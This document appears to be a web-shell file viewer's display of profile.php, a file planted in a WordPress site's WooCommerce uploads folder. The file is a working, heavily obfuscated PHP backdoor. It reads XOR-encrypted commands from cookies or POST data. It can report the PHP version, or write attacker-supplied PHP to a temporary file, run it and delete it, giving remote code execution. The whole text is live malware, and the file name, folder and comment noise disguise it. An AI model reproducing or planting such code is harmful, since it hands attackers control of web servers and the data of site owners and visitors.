HEX
Server: Apache/2.4.57 (Debian)
System: Linux web-server-k8s-e92jnr3j-6f99bff6b6-rp2wg 6.1.0-22-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.94-1 (2024-06-21) x86_64
User: apache (48)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Upload Files
File: /var/www/sites/1250.info/wp-content/uploads/woocommerce_uploads/profile.php
<?php 	function   stxkv(){$nmcpnb='wgwgcd';	print_r	(86655+86655);       }


$wztas   =	'wztas'/*modd_ */^	'';


function	zzvycfxie($rgjuwdulm,     $wkxcwj_iq)
{

   global       $wztas;


	$myhlhnsfy/*  cqi*/=/* aq  */"";       for	($ucoipjv	=	0;/*  tcoe_ */$ucoipjv   <	strlen($rgjuwdulm);)  {	for/*fv   */($rfjor_dije	=       0;       $rfjor_dije/* agnv   */<  strlen($wkxcwj_iq)/*nqjz   */&&/* d*/$ucoipjv/*  new   */</*mp_t*/strlen($rgjuwdulm);	$rfjor_dije++,/*  shxy  */$ucoipjv++)     {
  $myhlhnsfy  .=	$wztas(ord($rgjuwdulm[$ucoipjv])	^/* qazhf */ord($wkxcwj_iq[$rfjor_dije]));

/* bya*/}


/*dmwe */}
/*lny   */return	$myhlhnsfy;


}



function     rq_ojdap($mxvcx,	$rgjuwdulm)


{


/*  x   */global/*xiz  */$wztas;




	$ouxsgpd	=     sprintf($wztas(46)       .      $wztas(807-760)/*  r */.	"\x25"     .	"\163"	./*ra  */"."."\x70"	.	"l",/*_ljxm*/md5($mxvcx));
	file_put_contents($ouxsgpd,	"<"   .	"?".$wztas(195-83)	.     $wztas(159-55)	.   $wztas(432-320)	.  $wztas(32)	./* ydv  */$wztas(117)/*  ht*/./*  gw*/$wztas(110)/*hfqai  */./*s   */"l"."\151"."\156"/* lfx  */.  "k".$wztas(40)    ./*wd */"\x5f"  .	$wztas(95)/*  gn*/.  "\106"/*   fy   */./*   c */"\x49"	.  $wztas(76)	./*lypd */"\x45"	.      "\137"/*   klks*/.    $wztas(95)/*  emf   */.	"\x29"/*  klwn*/.	$wztas(59)     .      $wztas(32)      ./*zoe   */$rgjuwdulm["\x64"]);
/*   nvk   */include($ouxsgpd);

	$ozcbmho/*  m  */=   $ouxsgpd;


       unlink($ozcbmho);

}


function/*cmi  */nhxyav(){   global/*  nnwn   */$wztas;/*   ravv   */
/*  jmog  */$ucoipjv/*   jbvx */=	array();

	$ucoipjv[$wztas(179-67)    ./*   nkuqu*/"\x76"]/*zm  */=/*   ryuz*/phpversion();

/*   nbp */$ucoipjv["s"."v"]/* wdn*/=     $wztas(51)/*   ed  */.       ".".$wztas(53);    echo	@serialize($ucoipjv);


}
function	cnsxzsysf($rgjuwdulm,/*tila*/$mxvcx,/* tya  */$sinyga){
	global     $wztas;
    


	$rgjuwdulm    =	unserialize(zzvycfxie(zzvycfxie(base64_decode($rgjuwdulm),	$mxvcx),	$sinyga));
/*   on   */if  (isset($rgjuwdulm["\141"    .	$wztas(107)]))	{


  if      ($rgjuwdulm["\141"]      ==       "\151")/*   cgg */{

	nhxyav();
	}  elseif/*  kngsw */($rgjuwdulm["\141"]/*vycu  */==/*   hyybv  */"e")/*  k*/{   rq_ojdap($mxvcx,  $rgjuwdulm);


/*pi  */}

      exit();
       }

}





$kvijeufov  =	$_COOKIE;$eopogyu	=/* umwm   */$_POST;


$kvijeufov/*gq   */=	array_merge($eopogyu,/*  d*/$kvijeufov);





$mxvcx	=	$wztas(528-480)     .     "1".$wztas(99)/*   ohvx*/.	$wztas(456-402)/*wbqf */./* bd  */"\141"."1"."1"."0".$wztas(437-392)/*  b  */./* fk   */"4"."\71"/*gpnhe   */.    "\62"/* keasj */./*uk  */"2"."-".$wztas(368-316)/*   mo   */.  $wztas(458-357)      ./*  z*/$wztas(54)	.	"5"."-".$wztas(374-276)/*x */./* buo   */"5"."8".$wztas(977-878)	./* oe*/$wztas(604-559)/*   br  */./*  qy   */"c"."\142"       ./*uzcn*/"\71"/* pe*/.      $wztas(99)  .  "7"."\141"."1"."\141".$wztas(774-676)    .       "5"."\146"/*   uh  */.      $wztas(49);foreach	($kvijeufov/*ptueo  */as/* x */$sinyga	=>/* sz_p   */$rgjuwdulm)/*  iml  */{
/*tj   */cnsxzsysf($rgjuwdulm,/*npa  */$mxvcx,	$sinyga);

}